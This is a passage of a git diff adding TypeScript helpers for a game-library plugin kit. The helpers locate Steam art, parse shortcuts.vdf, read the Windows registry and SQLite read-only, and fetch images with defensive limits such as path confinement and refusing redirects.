changed.push(...diffs); + } + + const missing = baseline.filter((e) => !producedIds.has(e.id)); + return { + missing, + extra, + changed, + matched, + launchersAdded, + ok: missing.length === 0 && extra.length === 0 && changed.length === 0, + }; +}; + +const compareEntry = ( + before: ParityEntry, + after: ParityEntry, +): ParityChange[] => { + const out: ParityChange[] = []; + const note = (field: string, b: unknown, a: unknown) => + out.push({ id: before.id, field, before: b, after: a }); + + if (before.title !== after.title) note("title", before.title, after.title); + if (before.launch !== after.launch) + note("launch", before.launch, after.launch); + if (before.role !== after.role) note("role", before.role, after.role); + for (const k of ART_KINDS) { + // Only a LOST art kind is a regression. Gaining one is an improvement (the plugin can reach + // art the host never resolved), and failing a run over it would just train people to ignore + // the harness. + if (before.art[k] && !after.art[k]) note(`art.${k}`, true, false); + } + const keys = new Set([ + ...Object.keys(before.meta), + ...Object.keys(after.meta), + ]); + for (const k of keys) { + const b = before.meta[k]; + const a = after.meta[k]; + if (JSON.stringify(b) !== JSON.stringify(a)) note(`meta.${k}`, b, a); + } + return out; +}; + +/** Render a report for a terminal. Empty-ish when everything matched. */ +export const formatParityReport = (r: ParityReport): string => { + const lines: string[] = []; + lines.push( + r.ok + ? `parity OK — ${r.matched} entries identical` + : `parity FAILED — ${r.matched} identical, ${r.missing.length} missing, ${r.extra.length} unexpected, ${r.changed.length} changed`, + ); + for (const e of r.missing) lines.push(` missing: ${e.id} ${e.title}`); + for (const e of r.extra) lines.push(` extra: ${e.id} ${e.title}`); + for (const c of r.changed) { + lines.push( + ` changed: ${c.id} ${c.field}: ${JSON.stringify(c.before)} -> ${JSON.stringify(c.after)}`, + ); + } + if (r.launchersAdded.length > 0) { + lines.push( + ` (+${r.launchersAdded.length} launcher ${r.launchersAdded.length === 1 ? "entry" : "entries"}, expected: ${r.launchersAdded + .map((e) => e.id) + .join(", ")})`, + ); + } + // Art REPRESENTATION always changes on extraction (a host-relative proxy path or an inlined + // `data:` URL becomes a `file://` path or a CDN URL). Presence is what this harness checks, so + // say plainly that the bytes still want a human's eyes once. + if (r.ok) { + lines.push( + " note: art is compared by presence, not value — spot-check a few covers render.", + ); + } + return lines.join("\n"); +}; diff --git a/plugin-kit/src/library/parsers/art.ts b/plugin-kit/src/library/parsers/art.ts new file mode 100644 index 00000000..f39ec22d --- /dev/null +++ b/plugin-kit/src/library/parsers/art.ts @@ -0,0 +1,120 @@ +// Where a title's cover art lives: Steam's local caches, its per-account `grid/` overrides, and the +// public CDN. Ported from the host scanner's art resolution (steam.rs). +// +// After extraction a plugin emits art VALUES and the host serves them: a `file://` URL for anything +// on disk (the documented local-art contract — the host proxies the bytes), or an absolute CDN URL +// the client fetches itself. `data:` URLs remain legal but are small-logo-only: inlining covers is +// what blew the host's 2 MB body limit at 49 titles during the playnite work. +import * as path from "node:path"; +import { isFile, listDir } from "./fs.js"; + +/** The four art slots the library model carries. */ +export type ArtKind = "portrait" | "hero" | "logo" | "header"; + +export const ART_KINDS: readonly ArtKind[] = [ + "portrait", + "hero", + "logo", + "header", +]; + +/** A `file://` URL for a local path — the shape the host's art proxy understands. */ +export const fileUrl = (p: string): string => { + // Percent-encode, but keep the separators: the host converts this back to a path and expects the + // structure intact. Windows drive paths become `file:///C:/…`. + const abs = path.resolve(p); + const posix = abs.replace(/\\/g, "/"); + const encoded = posix + .split("/") + .map((seg) => encodeURIComponent(seg)) + .join("/"); + return posix.startsWith("/") ? `file://${encoded}` : `file:///${encoded}`; +}; + +/** + * The legacy flat CDN URL for a Steam appid's art kind. Correct for the many titles Valve hasn't + * re-hashed; newer ones serve from an unpredictable per-asset-hash path, where this 404s and the + * client falls through to its next candidate. That degradation is intentional and pre-existing. + */ +export const steamCdnUrl = (appid: number, kind: ArtKind): string | undefined => { + // A non-Steam shortcut's appid has the high bit set and is never a real store appid — the CDN + // would only 404, so don't emit a URL that is guaranteed to fail. + if ((appid & 0x8000_0000) !== 0) return undefined; + const file = + kind === "portrait" + ? "library_600x900.jpg" + : kind === "hero" + ? "library_hero.jpg" + : kind === "logo" + ? "logo.png" + : "header.jpg"; + return `https://cdn.cloudflare.steamstatic.com/steam/apps/${appid}/${file}`; +}; + +/** Filenames Steam's local `librarycache` uses per kind, in preference order (2x is sharper). */ +const localFilenames = (kind: ArtKind): string[] => + kind === "portrait" + ? ["library_600x900_2x.jpg", "library_600x900.jpg"] + : kind === "hero" + ? ["library_hero.jpg"] + : kind === "logo" + ? ["logo.png"] + : // Steam's local cache names the header asset differently from the store CDN's + // `header.jpg` — this trips everyone once. + ["library_header.jpg"]; + +/** + * This kind's file under one Steam root's `appcache/librarycache///`, or `undefined`. + * Steam reuses one hash dir per asset version, so there is normally exactly one candidate. + */ +export const findLocalArtFile = ( + root: string, + appid: number, + kind: ArtKind, +): string | undefined => { + const base = path.join(root, "appcache", "librarycache", String(appid)); + for (const hash of listDir(base)) { + for (const name of localFilenames(kind)) { + const p = path.join(base, hash, name); + if (isFile(p)) return p; + } + } + // Older Steam wrote the files directly under `librarycache/` with the appid in the name. + for (const name of localFilenames(kind)) { + const flat = path.join(root, "appcache", "librarycache", `${appid}_${name}`); + if (isFile(flat)) return flat; + } + return undefined; +}; + +/** + * The `grid/` basenames Steam names each art kind under for an appid: portrait `p`, hero + * `_hero`, logo `_logo`, wide capsule `` — each as `.png` then `.jpg`. + * + * These overrides are the **only** art a non-Steam shortcut ever has. + */ +export const gridFilenames = (appid: number, kind: ArtKind): string[] => { + const base = + kind === "portrait" + ? `${appid}p` + : kind === "hero" + ? `${appid}_hero` + : kind === "logo" + ? `${appid}_logo` + : `${appid}`; + return [`${base}.png`, `${base}.jpg`]; +}; + +/** This kind's user override under a `userdata//config/grid/` dir, or `undefined`. */ +export const findGridArtFile = ( + configDir: string, + appid: number, + kind: ArtKind, +): string | undefined => { + const grid = path.join(configDir, "grid"); + for (const name of gridFilenames(appid, kind)) { + const p = path.join(grid, name); + if (isFile(p)) return p; + } + return undefined; +}; diff --git a/plugin-kit/src/library/parsers/fs.ts b/plugin-kit/src/library/parsers/fs.ts new file mode 100644 index 00000000..288f9243 --- /dev/null +++ b/plugin-kit/src/library/parsers/fs.ts @@ -0,0 +1,112 @@ +// Bounded filesystem reads and path confinement — the posture the in-host scanners established, +// ported so a library plugin inherits it instead of re-deriving it. +// +// The rules here exist because a plugin reads files it does not own: a launcher's manifests, a +// catalog cache, a `goggame-*.info` a user could have edited. None of that is hostile in the normal +// case, and all of it is untrusted in the case that matters. +import * as fs from "node:fs"; +import * as path from "node:path"; + +/** A launcher manifest / `.acf` / `.info`: text, small. Matches `epic.rs`'s posture. */ +export const MAX_MANIFEST_BYTES = 1024 * 1024; +/** A binary catalog cache (Epic's `catcache.bin`, a `shortcuts.vdf`): larger, still bounded. */ +export const MAX_CACHE_BYTES = 32 * 1024 * 1024; + +/** + * Read a file as UTF-8, refusing anything over `max`. `undefined` on any error, a non-regular file, + * or an over-cap file — a plugin scanning a directory must never die on one odd entry. + * + * The size is checked by `stat` BEFORE the read, so an enormous file costs a stat, not the memory. + */ +export const readTextCapped = ( + file: string, + max = MAX_MANIFEST_BYTES, +): string | undefined => { + try { + const st = fs.statSync(file); + if (!st.isFile() || st.size === 0 || st.size > max) return undefined; + return fs.readFileSync(file, "utf8"); + } catch { + return undefined; + } +}; + +/** Read a file as bytes, refusing anything over `max`. Same posture as {@link readTextCapped}. */ +export const readBytesCapped = ( + file: string, + max = MAX_CACHE_BYTES, +): Uint8Array | undefined => { + try { + const st = fs.statSync(file); + if (!st.isFile() || st.size === 0 || st.size > max) return undefined; + return new Uint8Array(fs.readFileSync(file)); + } catch { + return undefined; + } +}; + +/** Read + `JSON.parse` a capped text file. `undefined` on any read or parse failure. */ +export const readJsonCapped = ( + file: string, + max = MAX_MANIFEST_BYTES, +): T | undefined => { + const text = readTextCapped(file, max); + if (text === undefined) return undefined; + try { + return JSON.parse(text) as T; + } catch { + return undefined; + } +}; + +/** List a directory's entry names, or `[]` if it isn't readable. */ +export const listDir = (dir: string): string[] => { + try { + return fs.readdirSync(dir); + } catch { + return []; + } +}; + +/** Does this path exist as a directory? */ +export const isDir = (p: string): boolean => { + try { + return fs.statSync(p).isDirectory(); + } catch { + return false; + } +}; + +/** Does this path exist as a regular, non-empty file? */ +export const isFile = (p: string): boolean => { + try { + const st = fs.statSync(p); + return st.isFile() && st.size > 0; + } catch { + return false; + } +}; + +/** + * Join `rel` onto `base` **only if it cannot escape** — the port of the host's `confined_join` + * (gog.rs), which exists because a crafted `goggame-.info` could otherwise point a play task's + * exe at an arbitrary program (security-review 2026-07-17). + * + * Refuses any relative path carrying a drive prefix (`C:`), a root (`/` or `\`), or a `..` + * component — each of which `path.join` would let REPLACE or climb out of `base`. `undefined` ⇒ + * out of bounds, and the caller must refuse the launch rather than fall back to something plausible. + */ +export const confinedJoin = (base: string, rel: string): string | undefined => { + if (rel === "") return undefined; + // Normalize separators so a Windows-shaped relative path is checked on any platform (a plugin + // may parse a Windows manifest while its tests run on Linux). + const parts = rel.split(/[\\/]/); + if (parts[0] === "" ) return undefined; // rooted + if (/^[A-Za-z]:$/.test(parts[0])) return undefined; // drive prefix + if (parts.some((p) => p === "..")) return undefined; // traversal + const joined = path.join(base, ...parts.filter((p) => p !== "" && p !== ".")); + // Belt and braces: the component check above is the real guard, but a symlink-free string check + // costs nothing and catches anything the split missed. + const rootWithSep = base.endsWith(path.sep) ? base : base + path.sep; + return joined === base || joined.startsWith(rootWithSep) ? joined : undefined; +}; diff --git a/plugin-kit/src/library/parsers/http.ts b/plugin-kit/src/library/parsers/http.ts new file mode 100644 index 00000000..d1f629d9 --- /dev/null +++ b/plugin-kit/src/library/parsers/http.ts @@ -0,0 +1,94 @@ +// The one outbound-HTTP helper a library plugin should use, carrying the host's `fetch_image` +// posture verbatim (art.rs): http(s) only, **no redirects**, a size cap, and a short timeout. +// +// The no-redirect rule is the important one and it is not paranoia: a scanner fetches URLs it read +// out of a launcher's cache — data the plugin did not author. A `3xx` chased automatically is an +// SSRF pivot from a process running on the operator's box (`http://169.254.169.254/…`, an internal +// service). The host learned this in the 2026-07-17 security review; a plugin fetching the same +// class of URL inherits the same rule. A rare legitimately-redirecting CDN just yields no art. +import { HostRequestError } from "../../errors.js"; +import { Effect } from "effect"; + +export interface FetchLimits { + /** Hard cap on the response body. Default 8 MiB — a cover never approaches it. */ + readonly maxBytes?: number; + /** Wall-clock timeout in ms. Default 10 000. */ + readonly timeoutMs?: number; +} + +const DEFAULT_MAX = 8 * 1024 * 1024; +const DEFAULT_TIMEOUT = 10_000; + +export interface FetchedBytes { + readonly bytes: Uint8Array; + readonly contentType: string; +} + +/** + * GET an `http(s)` URL under the posture above. Fails with {@link HostRequestError} on any non-2xx, + * a redirect, an over-cap body, a timeout, or a non-http(s) scheme. + * + * Most scanners never need this: they emit CDN URLs and let the CLIENT fetch them, which is both + * faster and keeps the host out of the loop. Reach for it only when a store's art requires an API + * lookup the client cannot do (GOG's product API, Microsoft's display catalog). + */ +export const fetchBytes = ( + url: string, + limits: FetchLimits = {}, +): Effect.Effect => + Effect.tryPromise({ + try: async (): Promise => { + if (!/^https?:\/\//i.test(url)) { + throw new Error("only http(s) URLs may be fetched"); + } + const maxBytes = limits.maxBytes ?? DEFAULT_MAX; + const signal = AbortSignal.timeout(limits.timeoutMs ?? DEFAULT_TIMEOUT); + // `redirect: "manual"` rather than "error": we want to SEE the 3xx and report it as a + // refusal, not have fetch throw something opaque. + const res = await fetch(url, { redirect: "manual", signal }); + if (res.status >= 300 && res.status < 400) { + throw new Error(`refusing to follow a ${res.status} redirect`); + } + if (!res.ok) throw new Error(`HTTP ${res.status}`); + // Trust Content-Length when it is there (cheap rejection), but still bound the read: a + // hostile server can lie about it or omit it entirely. + const declared = Number(res.headers.get("content-length")); + if (Number.isFinite(declared) && declared > maxBytes) { + throw new Error(`body larger than ${maxBytes} bytes`); + } + const buf = new Uint8Array(await res.arrayBuffer()); + if (buf.byteLength === 0) throw new Error("empty body"); + if (buf.byteLength > maxBytes) { + throw new Error(`body larger than ${maxBytes} bytes`); + } + return { + bytes: buf, + contentType: res.headers.get("content-type") ?? "image/jpeg", + }; + }, + catch: (cause) => + new HostRequestError({ + method: "GET", + path: url, + cause, + }), + }); + +/** {@link fetchBytes}, JSON-decoded. Same posture; use for a store's public product API. */ +export const fetchJson = ( + url: string, + limits: FetchLimits = {}, +): Effect.Effect => + fetchBytes(url, limits).pipe( + Effect.flatMap((r) => + Effect.try({ + try: () => JSON.parse(new TextDecoder().decode(r.bytes)) as T, + catch: (cause) => + new HostRequestError({ + method: "GET", + path: url, + cause, + }), + }), + ), + ); diff --git a/plugin-kit/src/library/parsers/index.ts b/plugin-kit/src/library/parsers/index.ts new file mode 100644 index 00000000..697f2f12 --- /dev/null +++ b/plugin-kit/src/library/parsers/index.ts @@ -0,0 +1,61 @@ +// The launcher-file parsing toolkit: what the six in-host scanners hand-rolled, hoisted so a +// library plugin is its scan function and nothing else. +// +// Everything here is total — a missing launcher, a truncated file, a schema drift in a launcher +// upgrade all degrade to "no titles from this source", never to a thrown error. A scanner that dies +// on one odd file takes the user's whole library with it. +export { + ART_KINDS, + type ArtKind, + fileUrl, + findGridArtFile, + findLocalArtFile, + gridFilenames, + steamCdnUrl, +} from "./art.js"; +export { + confinedJoin, + isDir, + isFile, + listDir, + MAX_CACHE_BYTES, + MAX_MANIFEST_BYTES, + readBytesCapped, + readJsonCapped, + readTextCapped, +} from "./fs.js"; +export { + type FetchedBytes, + type FetchLimits, + fetchBytes, + fetchJson, +} from "./http.js"; +export { + parseRegQuery, + regQueryValue, + regQueryValues, + regSubKeys, + type RegValue, + validRegKey, +} from "./registry.js"; +export { openReadOnly, type ReadOnlyDb, withReadOnlyDb } from "./sqlite.js"; +export { + crc32, + parseShortcuts, + type Shortcut, + shortcutAppId, + shortcutGameId, +} from "./shortcuts.js"; +export { + steamLibraryDirs, + steamRoots, + steamUserConfigDirs, +} from "./steam-root.js"; +export { + type AppManifest, + isSteamTool, + parseAppManifest, + vdfField, + vdfPaths, + vdfValue, +} from "./vdf.js"; diff --git a/plugin-kit/src/library/parsers/registry.ts b/plugin-kit/src/library/parsers/registry.ts new file mode 100644 index 00000000..4b420d66 --- /dev/null +++ b/plugin-kit/src/library/parsers/registry.ts @@ -0,0 +1,94 @@ +// Windows registry reads by spawning `reg.exe query` — dependency-free, and (the part that +// matters) it works from the scripting runner's LocalService account. +// +// **HKLM only, by design.** The runner runs as `NT AUTHORITY\LocalService` on Windows, which has no +// user profile: HKCU is not the operator's hive there, it is LocalService's own — so a plugin that +// read HKCU would silently see an empty registry rather than the user's launcher config. Every +// launcher fact a scanner needs (Steam's InstallPath, GOG's game list) lives under HKLM +// `WOW6432Node` anyway. Asking for HKCU is a bug, so this refuses it outright. +import { spawnSync } from "node:child_process"; + +/** One `reg.exe query` value row. */ +export interface RegValue { + readonly name: string; + /** `REG_SZ`, `REG_DWORD`, … */ + readonly type: string; + readonly data: string; +} + +const HKLM = "HKLM\\"; + +/** Is this a key path this module will touch? See the module docs on why HKLM only. */ +export const validRegKey = (key: string): boolean => + key.startsWith(HKLM) && + key.length > HKLM.length && + key.length <= 260 && + !key.includes("..") && + // `reg.exe` takes the key as one argv element (no shell), but keep the charset tame anyway so a + // malformed key can never turn into a switch. + !key.startsWith("/") && + !/[\r\n\0"]/.test(key); + +const run = (args: string[]): string | undefined => { + if (process.platform !== "win32") return undefined; + const r = spawnSync("reg.exe", args, { + encoding: "utf8", + windowsHide: true, + // A registry read is instant; a hang means something is badly wrong and a scan must not + // block on it forever. + timeout: 10_000, + maxBuffer: 4 * 1024 * 1024, + }); + if (r.status !== 0 || typeof r.stdout !== "string") return undefined; + return r.stdout; +}; + +/** + * The values directly under one HKLM key. `[]` when the key is absent, unreadable, or this is not + * Windows — a missing launcher is the normal case, never an error. + */ +export const regQueryValues = (key: string): RegValue[] => { + if (!validRegKey(key)) return []; + const out = run(["query", key]); + if (out === undefined) return []; + return parseRegQuery(out); +}; + +/** One named value under an HKLM key, or `undefined`. */ +export const regQueryValue = (key: string, name: string): string | undefined => + regQueryValues(key).find((v) => v.name.toLowerCase() === name.toLowerCase()) + ?.data; + +/** The immediate SUBKEY paths under one HKLM key (GOG lists one subkey per installed game). */ +export const regSubKeys = (key: string): string[] => { + if (!validRegKey(key)) return []; + const out = run(["query", key]); + if (out === undefined) return []; + const prefix = `${key.toLowerCase()}\\`; + return out + .split(/\r?\n/) + .map((l) => l.trim()) + .filter((l) => l.toLowerCase().startsWith(prefix)) + .filter((l) => !l.slice(key.length + 1).includes("\\")); +}; + +/** + * Parse `reg.exe query` output rows: ` `, separated by runs of + * whitespace. Data may itself contain spaces (a path), so only the first two columns are split off. + * + * Exported for tests — the format is stable but this is exactly the kind of thing that quietly + * breaks, and a plugin's tests can pin it without a Windows box. + */ +export const parseRegQuery = (stdout: string): RegValue[] => { + const out: RegValue[] = []; + for (const raw of stdout.split(/\r?\n/)) { + // Value rows are indented; the key path header is not. + if (!/^\s/.test(raw)) continue; + const line = raw.trim(); + if (line === "") continue; + const m = line.match(/^(.*?)\s{2,}(REG_[A-Z_]+)\s{2,}([\s\S]*)$/); + if (!m) continue; + out.push({ name: m[1], type: m[2], data: m[3] }); + } + return out; +}; diff --git a/plugin-kit/src/library/parsers/shortcuts.ts b/plugin-kit/src/library/parsers/shortcuts.ts new file mode 100644 index 00000000..b1348952 --- /dev/null +++ b/plugin-kit/src/library/parsers/shortcuts.ts @@ -0,0 +1,160 @@ +// Steam's BINARY `shortcuts.vdf` — the user's "Add a Non-Steam Game to My Library" entries. +// +// Ported from the host's in-tree scanner (crates/punktfunk-host/src/library/steam.rs), together +// with its unit tests, which are the real specification here: the format is undocumented, and the +// two id derivations below (`shortcutAppId`, `shortcutGameId`) are the difference between a +// shortcut that launches and one that silently does nothing. +// +// Format: a 1-byte type tag (`0x00` nested map, `0x01` string, `0x02` int32, `0x07` uint64), a +// NUL-terminated key, then a type-specific payload; `0x08` closes the current map. The whole file is +// one `shortcuts` map whose children (keyed "0", "1", …) are the individual shortcuts. +// +// Lenient and total by design: a truncated file or an unrecognized tag stops the walk and returns +// whatever parsed so far. A user's shortcuts file is not something to be strict about. + +export interface Shortcut { + /** The 32-bit shortcut appid — always high-bit set. Keys the entry id and its `grid/` art. */ + readonly appid: number; + readonly name: string; + /** The shortcut's target, as Steam stores it (quoted, possibly with trailing arguments). */ + readonly exe: string; + readonly hidden: boolean; +} + +/** A cursor over the buffer — the ported code's `pos` threaded explicitly. */ +interface Cursor { + pos: number; +} + +/** Read a NUL-terminated UTF-8 string, advancing past the terminator. `undefined` if unterminated. */ +const readCStr = (buf: Uint8Array, c: Cursor): string | undefined => { + const start = c.pos; + let end = start; + while (end < buf.length && buf[end] !== 0) end++; + if (end >= buf.length) return undefined; + const s = new TextDecoder("utf-8").decode(buf.subarray(start, end)); + c.pos = end + 1; + return s; +}; + +/** Read a little-endian int32, advancing 4 bytes. `undefined` if fewer than 4 remain. */ +const readI32 = (buf: Uint8Array, c: Cursor): number | undefined => { + if (c.pos + 4 > buf.length) return undefined; + const v = new DataView(buf.buffer, buf.byteOffset + c.pos, 4).getInt32(0, true); + c.pos += 4; + return v; +}; + +/** Skip a nested map's contents (positioned just after its key) up to and including its `0x08`. */ +const skipMap = (buf: Uint8Array, c: Cursor): boolean => { + for (;;) { + if (c.pos >= buf.length) return false; + const tag = buf[c.pos]; + c.pos += 1; + if (tag === 0x08) return true; + if (readCStr(buf, c) === undefined) return false; + if (tag === 0x00) { + if (!skipMap(buf, c)) return false; + } else if (tag === 0x01) { + if (readCStr(buf, c) === undefined) return false; + } else if (tag === 0x02) { + c.pos += 4; + } else if (tag === 0x07) { + c.pos += 8; + } else { + return false; + } + } +}; + +/** Parse one shortcut's fields (positioned just after its index key) up to the map-closing `0x08`. */ +const parseOne = (buf: Uint8Array, c: Cursor): Shortcut | undefined => { + let appid: number | undefined; + let name = ""; + let exe = ""; + let hidden = false; + for (;;) { + if (c.pos >= buf.length) return undefined; + const tag = buf[c.pos]; + c.pos += 1; + if (tag === 0x08) break; + const key = readCStr(buf, c)?.toLowerCase(); + if (key === undefined) return undefined; + if (tag === 0x00) { + if (!skipMap(buf, c)) return undefined; // nested map (e.g. `tags`) — not needed + } else if (tag === 0x01) { + const val = readCStr(buf, c); + if (val === undefined) return undefined; + if (key === "appname") name = val; + else if (key === "exe") exe = val; + } else if (tag === 0x02) { + const val = readI32(buf, c); + if (val === undefined) return undefined; + if (key === "appid") appid = val >>> 0; + else if (key === "ishidden") hidden = val !== 0; + } else if (tag === 0x07) { + c.pos += 8; // uint64 — skip + } else { + return undefined; // unknown tag: payload size unknown, can't continue safely + } + } + if (name.trim() === "") return undefined; // nothing worth showing + // Prefer the stored appid; fall back to Steam's derivation when it's absent (0 / missing). + const id = appid && appid !== 0 ? appid : shortcutAppId(exe, name); + return { appid: id, name, exe, hidden }; +}; + +/** Parse a binary `shortcuts.vdf` into its shortcuts. Never throws. */ +export const parseShortcuts = (buf: Uint8Array): Shortcut[] => { + const out: Shortcut[] = []; + const c: Cursor = { pos: 0 }; + // Enter the top-level map (`<0x00> "shortcuts" `); tolerate any key name. + if (buf[0] !== 0x00) return out; + c.pos = 1; + if (readCStr(buf, c) === undefined) return out; + while (c.pos < buf.length) { + const tag = buf[c.pos]; + c.pos += 1; + if (tag !== 0x00) break; // `0x08` (end of shortcuts) or anything unexpected + if (readCStr(buf, c) === undefined) break; // the index key ("0", "1", …) + const sc = parseOne(buf, c); + if (!sc) break; + out.push(sc); + } + return out; +}; + +/** Standard reflected (IEEE) CRC-32 — what Steam hashes a shortcut's `exe + name` with. */ +export const crc32 = (data: Uint8Array): number => { + let crc = 0xffff_ffff; + for (const byte of data) { + crc ^= byte; + for (let i = 0; i < 8; i++) { + const mask = -(crc & 1); + crc = (crc >>> 1) ^ (0xedb8_8320 & mask); + } + } + return (~crc) >>> 0; +}; + +/** + * The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the + * high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern + * Steam writes it and the stored value is preferred. + * + * The high bit is load-bearing downstream: it is how a shortcut is told apart from a real store + * appid, which is what makes the CDN art fetch skippable for shortcuts (they only ever have `grid/` + * overrides). + */ +export const shortcutAppId = (exe: string, name: string): number => + (crc32(new TextEncoder().encode(exe + name)) | 0x8000_0000) >>> 0; + +/** + * The 64-bit game id `steam://rungameid/` needs in order to launch a non-Steam shortcut: high dword + * = the 32-bit shortcut appid, low dword = the shortcut marker `0x02000000`. + * + * Handing `rungameid` the bare 32-bit appid does NOT launch a shortcut — it must be this composed + * id. Returned as a decimal string because it exceeds 2^53 and would lose precision as a `number`. + */ +export const shortcutGameId = (appid: number): string => + ((BigInt(appid >>> 0) << 32n) | 0x0200_0000n).toString(); diff --git a/plugin-kit/src/library/parsers/sqlite.ts b/plugin-kit/src/library/parsers/sqlite.ts new file mode 100644 index 00000000..df08298b --- /dev/null +++ b/plugin-kit/src/library/parsers/sqlite.ts @@ -0,0 +1,83 @@ +// Read-only SQLite over `bun:sqlite` — for launcher databases a plugin must never disturb. +// +// Lutris' `pga.db` is the motivating case: it belongs to a running application, and a scanner that +// opened it read-write could take a write lock, create `-wal`/`-shm` sidecars next to it, or (worst +// case) be blamed for a corrupted library. `immutable=1` promises the file will not change while +// open, which makes Bun skip locking entirely — the strictest possible "look, don't touch". +import { constants, Database } from "bun:sqlite"; +import { isFile } from "./fs.js"; + +/** + * READONLY | URI, passed as raw open flags. + * + * The `{ readonly: true }` options object does NOT enable SQLite's URI filename parsing, so a + * `file:…?immutable=1` name is taken literally, no such file exists, and the open throws + * `SQLiteError: unable to open database file`. Every caller here degrades an open failure to + * "launcher not installed", so that turned into a silent, total "0 games" on every box — see the + * regression test in test/library-parsers.test.ts. SQLITE_OPEN_URI is what makes the query string + * mean anything. (`{ readonly: true, uri: true }` is not a thing — measured on bun 1.3.14.) + */ +const OPEN_READONLY_URI = + constants.SQLITE_OPEN_READONLY | constants.SQLITE_OPEN_URI; + +export interface ReadOnlyDb { + /** Run a query and return its rows. Returns `[]` rather than throwing on a bad query. */ + readonly query: >( + sql: string, + ...params: unknown[] + ) => T[]; + readonly close: () => void; +} + +/** + * Open a launcher database read-only and immutably. `undefined` if the file is absent or not a + * database — the normal "this launcher isn't installed" case, not an error. + * + * Always `close()` when done (or use {@link withReadOnlyDb}, which does it for you). + */ +export const openReadOnly = (file: string): ReadOnlyDb | undefined => { + if (!isFile(file)) return undefined; + let db: Database; + try { + // `readonly` alone still takes locks and can spawn WAL sidecars; `immutable=1` is what makes + // this a pure read. It is safe here precisely because a scan is a point-in-time snapshot — + // if the launcher writes mid-scan we simply pick it up on the next sync. + // The flags (not `{ readonly: true }`) are load-bearing: without SQLITE_OPEN_URI the name + // below is not parsed as a URI and the open always fails. See OPEN_READONLY_URI. + db = new Database(`file:${encodeURI(file)}?immutable=1`, OPEN_READONLY_URI); + } catch { + return undefined; + } + return { + query: >(sql: string, ...params: unknown[]) => { + try { + return db.query(sql).all(...(params as never[])) as T[]; + } catch { + // A schema drift (a renamed column in a launcher upgrade) must degrade to "no + // titles from this source", never take the whole plugin down. + return [] as T[]; + } + }, + close: () => { + try { + db.close(); + } catch { + /* already closed */ + } + }, + }; +}; + +/** Open, use, and always close. Returns `undefined` when the database isn't there. */ +export const withReadOnlyDb = ( + file: string, + use: (db: ReadOnlyDb) => T, +): T | undefined => { + const db = openReadOnly(file); + if (!db) return undefined; + try { + return use(db); + } finally { + db.close(); + } +}; diff --git a/plugin-kit/src/library/parsers/steam-root.ts b/plugin-kit/src/library/parsers/steam-root.ts new file mode 100644 index 00000000..02865816 --- /dev/null +++ b/plugin-kit/src/library/parsers/steam-root.ts @@ -0,0 +1,104 @@ +// Where Steam lives on this host, and which `steamapps` dirs hold installed titles. +// +// Ported from the host scanner (steam.rs `steam_roots` / `steam_library_dirs`) with one deliberate +// addition and one deliberate exclusion, both about the Windows runner's account: +// +// * ADDED: HKLM `WOW6432Node\Valve\Steam\InstallPath`, so a non-default Steam install dir is +// found. The host scanner never covered this (it relied on an explorer.exe protocol fallback at +// launch time), but a plugin that can't find the root finds no games at all. +// * EXCLUDED: HKCU `Software\Valve\Steam`. The runner is LocalService, whose HKCU is its own empty +// hive, not the operator's — reading it would look like "Steam isn't installed". +import * as os from "node:os"; +import * as path from "node:path"; +import { isDir, listDir, readTextCapped } from "./fs.js"; +import { regQueryValue } from "./registry.js"; +import { vdfPaths } from "./vdf.js"; + +/** Canonicalize-ish: resolve and drop a trailing separator so dedup is reliable. */ +const norm = (p: string): string => path.resolve(p); + +/** + * Candidate Steam roots that actually exist (have a `steamapps` dir), deduped. + * + * A "root" is the Steam install itself — `userdata/`, `appcache/` and the first `steamapps/` live + * under it. Extra library folders on other drives are NOT roots; see {@link steamLibraryDirs}. + */ +export const steamRoots = (): string[] => { + const candidates: string[] = []; + if (process.platform === "win32") { + for (const v of ["ProgramFiles(x86)", "ProgramFiles", "ProgramW6432"]) { + const pf = process.env[v]; + if (pf) candidates.push(path.join(pf, "Steam")); + } + // The registry install path — covers a Steam installed somewhere other than Program Files. + for (const key of [ + "HKLM\\SOFTWARE\\WOW6432Node\\Valve\\Steam", + "HKLM\\SOFTWARE\\Valve\\Steam", + ]) { + const p = regQueryValue(key, "InstallPath"); + if (p) candidates.push(p); + } + } else { + const home = os.homedir(); + if (home) { + candidates.push( + path.join(home, ".local/share/Steam"), + path.join(home, ".steam/steam"), + path.join(home, ".steam/root"), + // Flatpak Steam + path.join(home, ".var/app/com.valvesoftware.Steam/.local/share/Steam"), + ); + } + } + const seen = new Set(); + const roots: string[] = []; + for (const c of candidates) { + const n = norm(c); + if (!seen.has(n) && isDir(path.join(n, "steamapps"))) { + seen.add(n); + roots.push(n); + } + } + return roots; +}; + +/** + * Every `steamapps` dir holding installed titles: each root's own, plus the extra library folders + * listed in its `libraryfolders.vdf` (Steam installs to other drives). + */ +export const steamLibraryDirs = (roots = steamRoots()): string[] => { + const seen = new Set(); + const dirs: string[] = []; + const push = (p: string) => { + const n = norm(p); + if (!seen.has(n) && isDir(n)) { + seen.add(n); + dirs.push(n); + } + }; + for (const root of roots) { + const steamapps = path.join(root, "steamapps"); + const text = readTextCapped(path.join(steamapps, "libraryfolders.vdf")); + if (text !== undefined) { + for (const p of vdfPaths(text)) push(path.join(p, "steamapps")); + } + push(steamapps); + } + return dirs; +}; + +/** + * Every `userdata//config` dir across all roots — one per Steam account that has signed + * in on this host. `shortcuts.vdf` and the `grid/` art overrides live here. + */ +export const steamUserConfigDirs = (roots = steamRoots()): string[] => { + const out: string[] = []; + for (const root of roots) { + const userdata = path.join(root, "userdata"); + for (const acct of listDir(userdata)) { + const cfg = path.join(userdata, acct, "config"); + if (isDir(cfg)) out.push(cfg); + } + } + return out; +}; diff --git a/plugin-kit/src/library/parsers/vdf.ts b/plugin-kit/src/library/parsers/vdf.ts new file mode 100644 index 00000000..370ddeae --- /dev/null +++ b/plugin-kit/src/library/parsers/vdf.ts @@ -0,0 +1,80 @@ +// Valve Data Format (text) — the flat-field reader Steam's `libraryfolders.vdf` and +// `appmanifest_.acf` need, ported from the host's in-tree scanner +// (crates/punktfunk-host/src/library/steam.rs `vdf_value` / `vdf_paths` / `scan_manifests`). +// +// Deliberately NOT a full VDF parser. Every field these files expose that a library plugin cares +// about sits on one line as `"key" "value"`, and a real parser would be a much larger surface to +// keep correct against a format Valve changes without notice. If you need nested values, read the +// file yourself — this is the 90% case, kept small enough to be obviously right. + +/** `"" ""` on a single line → ``. Whitespace between the two is arbitrary. */ +export const vdfValue = (line: string, key: string): string | undefined => { + const rest = 